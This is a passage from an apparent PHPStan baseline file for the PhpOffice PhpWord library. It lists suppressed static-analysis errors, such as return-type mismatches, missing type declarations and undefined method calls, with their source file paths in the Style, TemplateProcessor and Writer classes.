			message: "#^Method PhpOffice\\\\PhpWord\\\\Style\\:\\:addNumberingStyle\\(\\) should return PhpOffice\\\\PhpWord\\\\Style\\\\Numbering but returns PhpOffice\\\\PhpWord\\\\Style\\\\AbstractStyle\\.$#"
			count: 1
			path: src/PhpWord/Style.php

		-
			message: "#^Method PhpOffice\\\\PhpWord\\\\Style\\:\\:addParagraphStyle\\(\\) should return PhpOffice\\\\PhpWord\\\\Style\\\\Paragraph but returns PhpOffice\\\\PhpWord\\\\Style\\\\AbstractStyle\\.$#"
			count: 1
			path: src/PhpWord/Style.php

		-
			message: "#^Method PhpOffice\\\\PhpWord\\\\Style\\:\\:addTableStyle\\(\\) should return PhpOffice\\\\PhpWord\\\\Style\\\\Table but returns PhpOffice\\\\PhpWord\\\\Style\\\\AbstractStyle\\.$#"
			count: 1
			path: src/PhpWord/Style.php

		-
			message: "#^Method PhpOffice\\\\PhpWord\\\\Style\\:\\:addTitleStyle\\(\\) should return PhpOffice\\\\PhpWord\\\\Style\\\\Font but returns PhpOffice\\\\PhpWord\\\\Style\\\\AbstractStyle\\.$#"
			count: 1
			path: src/PhpWord/Style.php

		-
			message: "#^Call to an undefined method object\\:\\:setStyleByArray\\(\\)\\.$#"
			count: 1
			path: src/PhpWord/Style/AbstractStyle.php

		-
			message: "#^Method PhpOffice\\\\PhpWord\\\\Style\\\\AbstractStyle\\:\\:setFloatVal\\(\\) should return float\\|null but returns float\\|int\\|string\\|null\\.$#"
			count: 1
			path: src/PhpWord/Style/AbstractStyle.php

		-
			message: "#^Method PhpOffice\\\\PhpWord\\\\Style\\\\AbstractStyle\\:\\:setNumericVal\\(\\) should return float\\|int\\|null but returns float\\|int\\|string\\|null\\.$#"
			count: 1
			path: src/PhpWord/Style/AbstractStyle.php

		-
			message: "#^Parameter \\#3 \\$length of function substr expects int\\|null, int\\|false given\\.$#"
			count: 1
			path: src/PhpWord/Style/AbstractStyle.php

		-
			message: "#^Unreachable statement \\- code above always terminates\\.$#"
			count: 1
			path: src/PhpWord/Style/AbstractStyle.php

		-
			message: "#^Method PhpOffice\\\\PhpWord\\\\Style\\\\Border\\:\\:getBorderSize\\(\\) should return array\\<int\\> but returns array\\<int, float\\|int\\>\\.$#"
			count: 1
			path: src/PhpWord/Style/Border.php

		-
			message: "#^Method PhpOffice\\\\PhpWord\\\\Style\\\\Cell\\:\\:getBgColor\\(\\) should return string but returns null\\.$#"
			count: 1
			path: src/PhpWord/Style/Cell.php

		-
			message: "#^Method PhpOffice\\\\PhpWord\\\\Style\\\\Cell\\:\\:setUnit\\(\\) has no return type specified\\.$#"
			count: 1
			path: src/PhpWord/Style/Cell.php

		-
			message: "#^Property PhpOffice\\\\PhpWord\\\\Style\\\\Cell\\:\\:\\$shading is never written, only read\\.$#"
			count: 1
			path: src/PhpWord/Style/Cell.php

		-
			message: "#^Method PhpOffice\\\\PhpWord\\\\Style\\\\Chart\\:\\:getMajorTickPosition\\(\\) has no return type specified\\.$#"
			count: 1
			path: src/PhpWord/Style/Chart.php

		-
			message: "#^Method PhpOffice\\\\PhpWord\\\\Style\\\\Chart\\:\\:setCategoryAxisTitle\\(\\) has no return type specified\\.$#"
			count: 1
			path: src/PhpWord/Style/Chart.php

		-
			message: "#^Method PhpOffice\\\\PhpWord\\\\Style\\\\Chart\\:\\:setValueAxisTitle\\(\\) has no return type specified\\.$#"
			count: 1
			path: src/PhpWord/Style/Chart.php

		-
			message: "#^Method PhpOffice\\\\PhpWord\\\\Style\\\\Chart\\:\\:setValueLabelPosition\\(\\) has no return type specified\\.$#"
			count: 1
			path: src/PhpWord/Style/Chart.php

		-
			message: "#^Method PhpOffice\\\\PhpWord\\\\Style\\\\Chart\\:\\:showAxisLabels\\(\\) has no return type specified\\.$#"
			count: 1
			path: src/PhpWord/Style/Chart.php

		-
			message: "#^Method PhpOffice\\\\PhpWord\\\\Style\\\\Chart\\:\\:showGridY\\(\\) has no return type specified\\.$#"
			count: 1
			path: src/PhpWord/Style/Chart.php

		-
			message: "#^PHPDoc tag @param has invalid value \\(string\\)\\: Unexpected token \"\\\\n     \\* \", expected variable at offset 250$#"
			count: 1
			path: src/PhpWord/Style/Chart.php

		-
			message: "#^Method PhpOffice\\\\PhpWord\\\\Style\\\\Font\\:\\:setAllCaps\\(\\) should return PhpOffice\\\\PhpWord\\\\Style\\\\Font but returns PhpOffice\\\\PhpWord\\\\Style\\\\AbstractStyle\\.$#"
			count: 1
			path: src/PhpWord/Style/Font.php

		-
			message: "#^Method PhpOffice\\\\PhpWord\\\\Style\\\\Font\\:\\:setBgColor\\(\\) should return PhpOffice\\\\PhpWord\\\\Style\\\\Table but return statement is missing\\.$#"
			count: 1
			path: src/PhpWord/Style/Font.php

		-
			message: "#^Method PhpOffice\\\\PhpWord\\\\Style\\\\Font\\:\\:setDoubleStrikethrough\\(\\) should return PhpOffice\\\\PhpWord\\\\Style\\\\Font but returns PhpOffice\\\\PhpWord\\\\Style\\\\AbstractStyle\\.$#"
			count: 1
			path: src/PhpWord/Style/Font.php

		-
			message: "#^Method PhpOffice\\\\PhpWord\\\\Style\\\\Font\\:\\:setSmallCaps\\(\\) should return PhpOffice\\\\PhpWord\\\\Style\\\\Font but returns PhpOffice\\\\PhpWord\\\\Style\\\\AbstractStyle\\.$#"
			count: 1
			path: src/PhpWord/Style/Font.php

		-
			message: "#^Method PhpOffice\\\\PhpWord\\\\Style\\\\Font\\:\\:setStrikethrough\\(\\) should return PhpOffice\\\\PhpWord\\\\Style\\\\Font but returns PhpOffice\\\\PhpWord\\\\Style\\\\AbstractStyle\\.$#"
			count: 1
			path: src/PhpWord/Style/Font.php

		-
			message: "#^Method PhpOffice\\\\PhpWord\\\\Style\\\\Font\\:\\:setSubScript\\(\\) should return PhpOffice\\\\PhpWord\\\\Style\\\\Font but returns PhpOffice\\\\PhpWord\\\\Style\\\\AbstractStyle\\.$#"
			count: 1
			path: src/PhpWord/Style/Font.php

		-
			message: "#^Method PhpOffice\\\\PhpWord\\\\Style\\\\Font\\:\\:setSuperScript\\(\\) should return PhpOffice\\\\PhpWord\\\\Style\\\\Font but returns PhpOffice\\\\PhpWord\\\\Style\\\\AbstractStyle\\.$#"
			count: 1
			path: src/PhpWord/Style/Font.php

		-
			message: "#^Property PhpOffice\\\\PhpWord\\\\Style\\\\Font\\:\\:\\$allCaps is never written, only read\\.$#"
			count: 1
			path: src/PhpWord/Style/Font.php

		-
			message: "#^Property PhpOffice\\\\PhpWord\\\\Style\\\\Font\\:\\:\\$doubleStrikethrough is never written, only read\\.$#"
			count: 1
			path: src/PhpWord/Style/Font.php

		-
			message: "#^Property PhpOffice\\\\PhpWord\\\\Style\\\\Font\\:\\:\\$lang is never written, only read\\.$#"
			count: 1
			path: src/PhpWord/Style/Font.php

		-
			message: "#^Property PhpOffice\\\\PhpWord\\\\Style\\\\Font\\:\\:\\$paragraph is never written, only read\\.$#"
			count: 1
			path: src/PhpWord/Style/Font.php

		-
			message: "#^Property PhpOffice\\\\PhpWord\\\\Style\\\\Font\\:\\:\\$shading is never written, only read\\.$#"
			count: 1
			path: src/PhpWord/Style/Font.php

		-
			message: "#^Property PhpOffice\\\\PhpWord\\\\Style\\\\Font\\:\\:\\$smallCaps is never written, only read\\.$#"
			count: 1
			path: src/PhpWord/Style/Font.php

		-
			message: "#^Property PhpOffice\\\\PhpWord\\\\Style\\\\Font\\:\\:\\$strikethrough is never written, only read\\.$#"
			count: 1
			path: src/PhpWord/Style/Font.php

		-
			message: "#^Property PhpOffice\\\\PhpWord\\\\Style\\\\Line\\:\\:\\$weight \\(int\\) does not accept float\\|int\\|null\\.$#"
			count: 1
			path: src/PhpWord/Style/Line.php

		-
			message: "#^Method PhpOffice\\\\PhpWord\\\\Style\\\\ListItem\\:\\:getListTypeStyle\\(\\) should return array but empty return statement found\\.$#"
			count: 1
			path: src/PhpWord/Style/ListItem.php

		-
			message: "#^Method PhpOffice\\\\PhpWord\\\\Style\\\\ListItem\\:\\:getListTypeStyle\\(\\) should return array but return statement is missing\\.$#"
			count: 1
			path: src/PhpWord/Style/ListItem.php

		-
			message: "#^Method PhpOffice\\\\PhpWord\\\\Style\\\\Paragraph\\:\\:setStyleValue\\(\\) should return PhpOffice\\\\PhpWord\\\\Style\\\\Paragraph but returns PhpOffice\\\\PhpWord\\\\Style\\\\AbstractStyle\\.$#"
			count: 1
			path: src/PhpWord/Style/Paragraph.php

		-
			message: "#^Property PhpOffice\\\\PhpWord\\\\Style\\\\Paragraph\\:\\:\\$indentation is never written, only read\\.$#"
			count: 1
			path: src/PhpWord/Style/Paragraph.php

		-
			message: "#^Property PhpOffice\\\\PhpWord\\\\Style\\\\Paragraph\\:\\:\\$shading is never written, only read\\.$#"
			count: 1
			path: src/PhpWord/Style/Paragraph.php

		-
			message: "#^Property PhpOffice\\\\PhpWord\\\\Style\\\\Paragraph\\:\\:\\$spacing is never written, only read\\.$#"
			count: 1
			path: src/PhpWord/Style/Paragraph.php

		-
			message: "#^Result of && is always false\\.$#"
			count: 1
			path: src/PhpWord/Style/Paragraph.php

		-
			message: "#^Method PhpOffice\\\\PhpWord\\\\Style\\\\Section\\:\\:setSettingValue\\(\\) should return PhpOffice\\\\PhpWord\\\\Style\\\\Section but returns PhpOffice\\\\PhpWord\\\\Style\\\\AbstractStyle\\.$#"
			count: 1
			path: src/PhpWord/Style/Section.php

		-
			message: "#^Property PhpOffice\\\\PhpWord\\\\Style\\\\Section\\:\\:\\$lineNumbering is never written, only read\\.$#"
			count: 1
			path: src/PhpWord/Style/Section.php

		-
			message: "#^Property PhpOffice\\\\PhpWord\\\\Style\\\\Shape\\:\\:\\$extrusion is never written, only read\\.$#"
			count: 1
			path: src/PhpWord/Style/Shape.php

		-
			message: "#^Property PhpOffice\\\\PhpWord\\\\Style\\\\Shape\\:\\:\\$fill is never written, only read\\.$#"
			count: 1
			path: src/PhpWord/Style/Shape.php

		-
			message: "#^Property PhpOffice\\\\PhpWord\\\\Style\\\\Shape\\:\\:\\$frame is never written, only read\\.$#"
			count: 1
			path: src/PhpWord/Style/Shape.php

		-
			message: "#^Property PhpOffice\\\\PhpWord\\\\Style\\\\Shape\\:\\:\\$outline is never written, only read\\.$#"
			count: 1
			path: src/PhpWord/Style/Shape.php

		-
			message: "#^Property PhpOffice\\\\PhpWord\\\\Style\\\\Shape\\:\\:\\$shadow is never written, only read\\.$#"
			count: 1
			path: src/PhpWord/Style/Shape.php

		-
			message: "#^Method PhpOffice\\\\PhpWord\\\\Style\\\\TOC\\:\\:setTabLeader\\(\\) should return PhpOffice\\\\PhpWord\\\\Style\\\\TOC but returns PhpOffice\\\\PhpWord\\\\Style\\\\Tab\\.$#"
			count: 1
			path: src/PhpWord/Style/TOC.php

		-
			message: "#^Method PhpOffice\\\\PhpWord\\\\Style\\\\TOC\\:\\:setTabPos\\(\\) should return PhpOffice\\\\PhpWord\\\\Style\\\\TOC but returns PhpOffice\\\\PhpWord\\\\Style\\\\Tab\\.$#"
			count: 1
			path: src/PhpWord/Style/TOC.php

		-
			message: "#^Method PhpOffice\\\\PhpWord\\\\Style\\\\Table\\:\\:getBorderInsideHColor\\(\\) should return string but returns int\\|string\\|null\\.$#"
			count: 1
			path: src/PhpWord/Style/Table.php

		-
			message: "#^Method PhpOffice\\\\PhpWord\\\\Style\\\\Table\\:\\:getBorderInsideHSize\\(\\) should return int but returns int\\|string\\|null\\.$#"
			count: 1
			path: src/PhpWord/Style/Table.php

		-
			message: "#^Method PhpOffice\\\\PhpWord\\\\Style\\\\Table\\:\\:getBorderInsideVColor\\(\\) should return string but returns int\\|string\\|null\\.$#"
			count: 1
			path: src/PhpWord/Style/Table.php

		-
			message: "#^Method PhpOffice\\\\PhpWord\\\\Style\\\\Table\\:\\:getBorderInsideVSize\\(\\) should return int but returns int\\|string\\|null\\.$#"
			count: 1
			path: src/PhpWord/Style/Table.php

		-
			message: "#^Method PhpOffice\\\\PhpWord\\\\Style\\\\Table\\:\\:getBorderSize\\(\\) should return array\\<int\\> but returns array\\<int, float\\|int\\>\\.$#"
			count: 1
			path: src/PhpWord/Style/Table.php

		-
			message: "#^Method PhpOffice\\\\PhpWord\\\\Style\\\\Table\\:\\:getCellMarginBottom\\(\\) should return int but returns int\\|string\\|null\\.$#"
			count: 1
			path: src/PhpWord/Style/Table.php

		-
			message: "#^Method PhpOffice\\\\PhpWord\\\\Style\\\\Table\\:\\:getCellMarginLeft\\(\\) should return int but returns int\\|string\\|null\\.$#"
			count: 1
			path: src/PhpWord/Style/Table.php

		-
			message: "#^Method PhpOffice\\\\PhpWord\\\\Style\\\\Table\\:\\:getCellMarginRight\\(\\) should return int but returns int\\|string\\|null\\.$#"
			count: 1
			path: src/PhpWord/Style/Table.php

		-
			message: "#^Method PhpOffice\\\\PhpWord\\\\Style\\\\Table\\:\\:getCellMarginTop\\(\\) should return int but returns int\\|string\\|null\\.$#"
			count: 1
			path: src/PhpWord/Style/Table.php

		-
			message: "#^Property PhpOffice\\\\PhpWord\\\\Style\\\\TablePosition\\:\\:\\$bottomFromText \\(int\\) does not accept float\\|int\\|null\\.$#"
			count: 1
			path: src/PhpWord/Style/TablePosition.php

		-
			message: "#^Property PhpOffice\\\\PhpWord\\\\Style\\\\TablePosition\\:\\:\\$leftFromText \\(int\\) does not accept float\\|int\\|null\\.$#"
			count: 1
			path: src/PhpWord/Style/TablePosition.php

		-
			message: "#^Property PhpOffice\\\\PhpWord\\\\Style\\\\TablePosition\\:\\:\\$rightFromText \\(int\\) does not accept float\\|int\\|null\\.$#"
			count: 1
			path: src/PhpWord/Style/TablePosition.php

		-
			message: "#^Property PhpOffice\\\\PhpWord\\\\Style\\\\TablePosition\\:\\:\\$tblpX \\(int\\) does not accept float\\|int\\|null\\.$#"
			count: 1
			path: src/PhpWord/Style/TablePosition.php

		-
			message: "#^Property PhpOffice\\\\PhpWord\\\\Style\\\\TablePosition\\:\\:\\$tblpY \\(int\\) does not accept float\\|int\\|null\\.$#"
			count: 1
			path: src/PhpWord/Style/TablePosition.php

		-
			message: "#^Property PhpOffice\\\\PhpWord\\\\Style\\\\TablePosition\\:\\:\\$topFromText \\(int\\) does not accept float\\|int\\|null\\.$#"
			count: 1
			path: src/PhpWord/Style/TablePosition.php

		-
			message: "#^Call to an undefined method object\\:\\:write\\(\\)\\.$#"
			count: 1
			path: src/PhpWord/TemplateProcessor.php

		-
			message: "#^Cannot access offset 'end' on array\\<int\\>\\|true\\.$#"
			count: 1
			path: src/PhpWord/TemplateProcessor.php

		-
			message: "#^Cannot access offset 'start' on array\\<int\\>\\|true\\.$#"
			count: 1
			path: src/PhpWord/TemplateProcessor.php

		-
			message: "#^Method PhpOffice\\\\PhpWord\\\\TemplateProcessor\\:\\:addImageToRelations\\(\\) has parameter \\$imageMimeType with no type specified\\.$#"
			count: 1
			path: src/PhpWord/TemplateProcessor.php

		-
			message: "#^Method PhpOffice\\\\PhpWord\\\\TemplateProcessor\\:\\:addImageToRelations\\(\\) has parameter \\$imgPath with no type specified\\.$#"
			count: 1
			path: src/PhpWord/TemplateProcessor.php

		-
			message: "#^Method PhpOffice\\\\PhpWord\\\\TemplateProcessor\\:\\:addImageToRelations\\(\\) has parameter \\$partFileName with no type specified\\.$#"
			count: 1
			path: src/PhpWord/TemplateProcessor.php

		-
			message: "#^Method PhpOffice\\\\PhpWord\\\\TemplateProcessor\\:\\:addImageToRelations\\(\\) has parameter \\$rid with no type specified\\.$#"
			count: 1
			path: src/PhpWord/TemplateProcessor.php

		-
			message: "#^Method PhpOffice\\\\PhpWord\\\\TemplateProcessor\\:\\:chooseImageDimension\\(\\) has no return type specified\\.$#"
			count: 1
			path: src/PhpWord/TemplateProcessor.php

		-
			message: "#^Method PhpOffice\\\\PhpWord\\\\TemplateProcessor\\:\\:chooseImageDimension\\(\\) has parameter \\$baseValue with no type specified\\.$#"
			count: 1
			path: src/PhpWord/TemplateProcessor.php

		-
			message: "#^Method PhpOffice\\\\PhpWord\\\\TemplateProcessor\\:\\:chooseImageDimension\\(\\) has parameter \\$defaultValue with no type specified\\.$#"
			count: 1
			path: src/PhpWord/TemplateProcessor.php

		-
			message: "#^Method PhpOffice\\\\PhpWord\\\\TemplateProcessor\\:\\:chooseImageDimension\\(\\) has parameter \\$inlineValue with no type specified\\.$#"
			count: 1
			path: src/PhpWord/TemplateProcessor.php

		-
			message: "#^Method PhpOffice\\\\PhpWord\\\\TemplateProcessor\\:\\:fixImageWidthHeightRatio\\(\\) has parameter \\$actualHeight with no type specified\\.$#"
			count: 1
			path: src/PhpWord/TemplateProcessor.php

		-
			message: "#^Method PhpOffice\\\\PhpWord\\\\TemplateProcessor\\:\\:fixImageWidthHeightRatio\\(\\) has parameter \\$actualWidth with no type specified\\.$#"
			count: 1
			path: src/PhpWord/TemplateProcessor.php

		-
			message: "#^Method PhpOffice\\\\PhpWord\\\\TemplateProcessor\\:\\:fixImageWidthHeightRatio\\(\\) has parameter \\$height with no type specified\\.$#"
			count: 1
			path: src/PhpWord/TemplateProcessor.php

		-
			message: "#^Method PhpOffice\\\\PhpWord\\\\TemplateProcessor\\:\\:fixImageWidthHeightRatio\\(\\) has parameter \\$width with no type specified\\.$#"
			count: 1
			path: src/PhpWord/TemplateProcessor.php

		-
			message: "#^Method PhpOffice\\\\PhpWord\\\\TemplateProcessor\\:\\:getImageArgs\\(\\) has no return type specified\\.$#"
			count: 1
			path: src/PhpWord/TemplateProcessor.php

		-
			message: "#^Method PhpOffice\\\\PhpWord\\\\TemplateProcessor\\:\\:getImageArgs\\(\\) has parameter \\$varNameWithArgs with no type specified\\.$#"
			count: 1
			path: src/PhpWord/TemplateProcessor.php

		-
			message: "#^Method PhpOffice\\\\PhpWord\\\\TemplateProcessor\\:\\:getNextRelationsIndex\\(\\) has no return type specified\\.$#"
			count: 1
			path: src/PhpWord/TemplateProcessor.php

		-
			message: "#^Method PhpOffice\\\\PhpWord\\\\TemplateProcessor\\:\\:getNextRelationsIndex\\(\\) has parameter \\$documentPartName with no type specified\\.$#"
			count: 1
			path: src/PhpWord/TemplateProcessor.php

		-
			message: "#^Method PhpOffice\\\\PhpWord\\\\TemplateProcessor\\:\\:indexClonedVariables\\(\\) should return string but returns array\\<int\\<0, max\\>, string\\|null\\>\\.$#"
			count: 1
			path: src/PhpWord/TemplateProcessor.php

		-
			message: "#^Method PhpOffice\\\\PhpWord\\\\TemplateProcessor\\:\\:prepareImageAttrs\\(\\) has no return type specified\\.$#"
			count: 1
			path: src/PhpWord/TemplateProcessor.php

		-
			message: "#^Method PhpOffice\\\\PhpWord\\\\TemplateProcessor\\:\\:prepareImageAttrs\\(\\) has parameter \\$replaceImage with no type specified\\.$#"
			count: 1
			path: src/PhpWord/TemplateProcessor.php

		-
			message: "#^Method PhpOffice\\\\PhpWord\\\\TemplateProcessor\\:\\:prepareImageAttrs\\(\\) has parameter \\$varInlineArgs with no type specified\\.$#"
			count: 1
			path: src/PhpWord/TemplateProcessor.php

		-
			message: "#^Method PhpOffice\\\\PhpWord\\\\TemplateProcessor\\:\\:setValueForPart\\(\\) should return string but returns array\\<int, string\\>\\|string\\.$#"
			count: 1
			path: src/PhpWord/TemplateProcessor.php

		-
			message: "#^Method PhpOffice\\\\PhpWord\\\\TemplateProcessor\\:\\:setValueForPart\\(\\) should return string but returns array\\<int, string\\>\\|string\\|null\\.$#"
			count: 1
			path: src/PhpWord/TemplateProcessor.php

		-
			message: "#^Parameter \\#1 \\$element of method PhpOffice\\\\PhpWord\\\\Writer\\\\Word2007\\\\Part\\\\Chart\\:\\:setElement\\(\\) expects PhpOffice\\\\PhpWord\\\\Element\\\\Chart, PhpOffice\\\\PhpWord\\\\Element\\\\AbstractElement given\\.$#"
			count: 1
			path: src/PhpWord/TemplateProcessor.php

		-
			message: "#^Parameter \\#2 \\$array of function implode expects array\\|null, array\\<string\\>\\|string given\\.$#"
			count: 1
			path: src/PhpWord/TemplateProcessor.php

		-
			message: "#^Parameter \\#2 \\$array of function implode expects array\\|null, string given\\.$#"
			count: 1
			path: src/PhpWord/TemplateProcessor.php

		-
			message: "#^Property PhpOffice\\\\PhpWord\\\\TemplateProcessor\\:\\:\\$macroClosingChars has no type specified\\.$#"
			count: 1
			path: src/PhpWord/TemplateProcessor.php

		-
			message: "#^Property PhpOffice\\\\PhpWord\\\\TemplateProcessor\\:\\:\\$macroOpeningChars has no type specified\\.$#"
			count: 1
			path: src/PhpWord/TemplateProcessor.php

		-
			message: "#^Property PhpOffice\\\\PhpWord\\\\TemplateProcessor\\:\\:\\$tempDocumentFooters \\(array\\<string\\>\\) does not accept string\\.$#"
			count: 1
			path: src/PhpWord/TemplateProcessor.php

		-
			message: "#^Property PhpOffice\\\\PhpWord\\\\TemplateProcessor\\:\\:\\$tempDocumentHeaders \\(array\\<string\\>\\) does not accept string\\.$#"
			count: 1
			path: src/PhpWord/TemplateProcessor.php

		-
			message: "#^Argument of an invalid type array\\<int, string\\>\\|false supplied for foreach, only iterables are supported\\.$#"
			count: 1
			path: src/PhpWord/Writer/AbstractWriter.php

		-
			message: "#^PHPDoc tag @param has invalid value \\(\\\\PhpOffice\\\\PhpWord\\\\PhpWord\\)\\: Unexpected token \"\\\\n     \\*\", expected variable at offset 78$#"
			count: 1
			path: src/PhpWord/Writer/AbstractWriter.php

		-
			message: "#^Method PhpOffice\\\\PhpWord\\\\Writer\\\\HTML\\\\Element\\\\AbstractElement\\:\\:write\\(\\) has no return type specified\\.$#"
			count: 1
			path: src/PhpWord/Writer/HTML/Element/AbstractElement.php

		-
			message: "#^Variable \\$row in PHPDoc tag @var does not match assigned variable \\$rowStyle\\.$#"
			count: 1
			path: src/PhpWord/Writer/HTML/Element/Table.php

		-
			message: "#^Method PhpOffice\\\\PhpWord\\\\Writer\\\\ODText\\\\Element\\\\Field\\:\\:writeDefault\\(\\) has parameter \\$type with no type specified\\.$#"
			count: 1
			path: src/PhpWord/Writer/ODText/Element/Field.php

		-
			message: "#^Variable \\$row in PHPDoc tag @var does not match any variable in the foreach loop\\: \\$cell$#"
			count: 1
			path: src/PhpWord/Writer/ODText/Element/Table.php

		-
			message: "#^Method PhpOffice\\\\PhpWord\\\\Writer\\\\ODText\\\\Element\\\\Text\\:\\:replacetabs\\(\\) has parameter \\$text with no type specified\\.$#"
			count: 1
			path: src/PhpWord/Writer/ODText/Element/Text.php

		-
			message: "#^Method PhpOffice\\\\PhpWord\\\\Writer\\\\ODText\\\\Element\\\\Text\\:\\:replacetabs\\(\\) has parameter \\$xmlWriter with no type specified\\.$#"
			count: 1
			path: src/PhpWord/Writer/ODText/Element/Text.php

		-
			message: "#^Method PhpOffice\\\\PhpWord\\\\Writer\\\\ODText\\\\Element\\\\Text\\:\\:writeChangeInsertion\\(\\) has parameter \\$start with no type specified\\.$#"
			count: 1
			path: src/PhpWord/Writer/ODText/Element/Text.php

		-
			message: "#^Call to an undefined method PhpOffice\\\\PhpWord\\\\Element\\\\AbstractElement\\:\\:getParagraphStyle\\(\\)\\.$#"
			count: 1
			path: src/PhpWord/Writer/ODText/Element/TextRun.php

		-
			message: "#^Call to an undefined method PhpOffice\\\\PhpWord\\\\Style\\\\AbstractStyle\\:\\:setColumnWidths\\(\\)\\.$#"
			count: 1
			path: src/PhpWord/Writer/ODText/Part/Content.php

		-
			message: "#^Parameter \\#1 \\$container of method PhpOffice\\\\PhpWord\\\\Writer\\\\ODText\\\\Part\\\\Content\\:\\:collectTrackedChanges\\(\\) expects PhpOffice\\\\PhpWord\\\\Element\\\\AbstractContainer, PhpOffice\\\\PhpWord\\\\Element\\\\AbstractElement given\\.$#"
			count: 1
			path: src/PhpWord/Writer/ODText/Part/Content.php

		-
			message: "#^Property PhpOffice\\\\PhpWord\\\\Writer\\\\ODText\\\\Part\\\\Content\\:\\:\\$imageParagraphStyles has no type specified\\.$#"
			count: 1
			path: src/PhpWord/Writer/ODText/Part/Content.php

		-
			message: "#^Call to an undefined method object\\:\\:write\\(\\)\\.$#"
			count: 2
			path: src/PhpWord/Writer/ODText/Part/Styles.php

		-
			message: "#^Method PhpOffice\\\\PhpWord\\\\Writer\\\\ODText\\\\Part\\\\Styles\\:\\:cvttwiptostr\\(\\) has no return type specified\\.$#"
			count: 1
			path: src/PhpWord/Writer/ODText/Part/Styles.php

		-
			message: "#^Parameter \\#1 \\$callback of function call_user_func_array expects callable\\(\\)\\: mixed, array\\{PhpOffice\\\\PhpWord\\\\Writer\\\\PDF\\\\AbstractRenderer, string\\} given\\.$#"
			count: 1
			path: src/PhpWord/Writer/PDF.php

		-
			message: "#^Property PhpOffice\\\\PhpWord\\\\Writer\\\\PDF\\:\\:\\$renderer \\(PhpOffice\\\\PhpWord\\\\Writer\\\\PDF\\\\AbstractRenderer\\) does not accept object\\.$#"
			count: 1
			path: src/PhpWord/Writer/PDF.php

		-
			message: "#^Call to an undefined method PhpOffice\\\\PhpWord\\\\Writer\\\\PDF\\\\DomPDF\\:\\:loadHtml\\(\\)\\.$#"
			count: 1
			path: src/PhpWord/Writer/PDF/DomPDF.php

		-
			message: "#^Call to an undefined method PhpOffice\\\\PhpWord\\\\Writer\\\\PDF\\\\DomPDF\\:\\:output\\(\\)\\.$#"
			count: 1
			path: src/PhpWord/Writer/PDF/DomPDF.php

		-
			message: "#^Call to an undefined method PhpOffice\\\\PhpWord\\\\Writer\\\\PDF\\\\DomPDF\\:\\:render\\(\\)\\.$#"
			count: 1
			path: src/PhpWord/Writer/PDF/DomPDF.php

		-
			message: "#^Call to an undefined method PhpOffice\\\\PhpWord\\\\Writer\\\\PDF\\\\DomPDF\\:\\:setPaper\\(\\)\\.$#"
			count: 1
			path: src/PhpWord/Writer/PDF/DomPDF.php

		-
			message: "#^Class PhpOffice\\\\PhpWord\\\\Writer\\\\PDF\\\\DomPDF referenced with incorrect case\\: PhpOffice\\\\PhpWord\\\\Writer\\\\PDF\\\\Dompdf\\.$#"
			count: 1
			path: src/PhpWord/Writer/PDF/DomPDF.php

		-
			message: "#^Method PhpOffice\\\\PhpWord\\\\Writer\\\\PDF\\\\DomPDF\\:\\:createExternalWriterInstance\\(\\) should return PhpOffice\\\\PhpWord\\\\Writer\\\\PDF\\\\DomPDF but returns Dompdf\\\\Dompdf\\.$#"
			count: 1
			path: src/PhpWord/Writer/PDF/DomPDF.php

		-
			message: "#^Binary operation \"\\+\" between int\\|string and 1 results in an error\\.$#"
			count: 1
			path: src/PhpWord/Writer/RTF/Element/AbstractElement.php

		-
			message: "#^Parameter \\#1 \\$value of method PhpOffice\\\\PhpWord\\\\Writer\\\\RTF\\\\Style\\\\Font\\:\\:setNameIndex\\(\\) expects int, int\\|string given\\.$#"
			count: 1
			path: src/PhpWord/Writer/RTF/Element/AbstractElement.php

		-
			message: "#^Property PhpOffice\\\\PhpWord\\\\Writer\\\\RTF\\\\Element\\\\AbstractElement\\:\\:\\$fontStyle \\(PhpOffice\\\\PhpWord\\\\Style\\\\Font\\) does not accept PhpOffice\\\\PhpWord\\\\Style\\\\AbstractStyle\\|null\\.$#"
			count: 1
			path: src/PhpWord/Writer/RTF/Element/AbstractElement.php

		-
			message: "#^Property PhpOffice\\\\PhpWord\\\\Writer\\\\RTF\\\\Element\\\\AbstractElement\\:\\:\\$fontStyle \\(PhpOffice\\\\PhpWord\\\\Style\\\\Font\\) does not accept PhpOffice\\\\PhpWord\\\\Style\\\\Font\\|string\\.$#"
			count: 1
			path: src/PhpWord/Writer/RTF/Element/AbstractElement.php

		-
			message: "#^Property PhpOffice\\\\PhpWord\\\\Writer\\\\RTF\\\\Element\\\\AbstractElement\\:\\:\\$paragraphStyle \\(PhpOffice\\\\PhpWord\\\\Style\\\\Paragraph\\) does not accept PhpOffice\\\\PhpWord\\\\Style\\\\AbstractStyle\\|null\\.$#"
			count: 1
			path: src/PhpWord/Writer/RTF/Element/AbstractElement.php

		-
			message: "#^Property PhpOffice\\\\PhpWord\\\\Writer\\\\RTF\\\\Element\\\\AbstractElement\\:\\:\\$paragraphStyle \\(PhpOffice\\\\PhpWord\\\\Style\\\\Paragraph\\) does not accept PhpOffice\\\\PhpWord\\\\Style\\\\Paragraph\\|string\\.$#"
			count: 1
			path: src/PhpWord/Writer/RTF/Element/AbstractElement.php

		-
			message: "#^Property PhpOffice\\\\PhpWord\\\\Writer\\\\RTF\\\\Element\\\\AbstractElement\\:\\:\\$paragraphStyle \\(PhpOffice\\\\PhpWord\\\\Style\\\\Paragraph\\) does not accept null\\.$#"
			count: 2
			path: src/PhpWord/Writer/RTF/Element/AbstractElement.php

		-
			message: "#^Method PhpOffice\\\\PhpWord\\\\Writer\\\\RTF\\\\Element\\\\Field\\:\\:write\\(\\) should return string but empty return statement found\\.$#"
			count: 1
			path: src/PhpWord/Writer/RTF/Element/Field.php

		-
			message: "#^Method PhpOffice\\\\PhpWord\\\\Writer\\\\RTF\\\\Element\\\\Field\\:\\:writeDate\\(\\) has no return type specified\\.$#"
			count: 1
			path: src/PhpWord/Writer/RTF/Element/Field.php

		-
			message: "#^Method PhpOffice\\\\PhpWord\\\\Writer\\\\RTF\\\\Element\\\\Field\\:\\:writeNumpages\\(\\) has no return type specified\\.$#"
			count: 1
			path: src/PhpWord/Writer/RTF/Element/Field.php

		-
			message: "#^Method PhpOffice\\\\PhpWord\\\\Writer\\\\RTF\\\\Element\\\\Field\\:\\:writePage\\(\\) has no return type specified\\.$#"
			count: 1
			path: src/PhpWord/Writer/RTF/Element/Field.php

		-
			message: "#^Call to an undefined method PhpOffice\\\\PhpWord\\\\Element\\\\AbstractElement\\:\\:getImageStringData\\(\\)\\.$#"
			count: 1
			path: src/PhpWord/Writer/RTF/Element/Image.php

		-
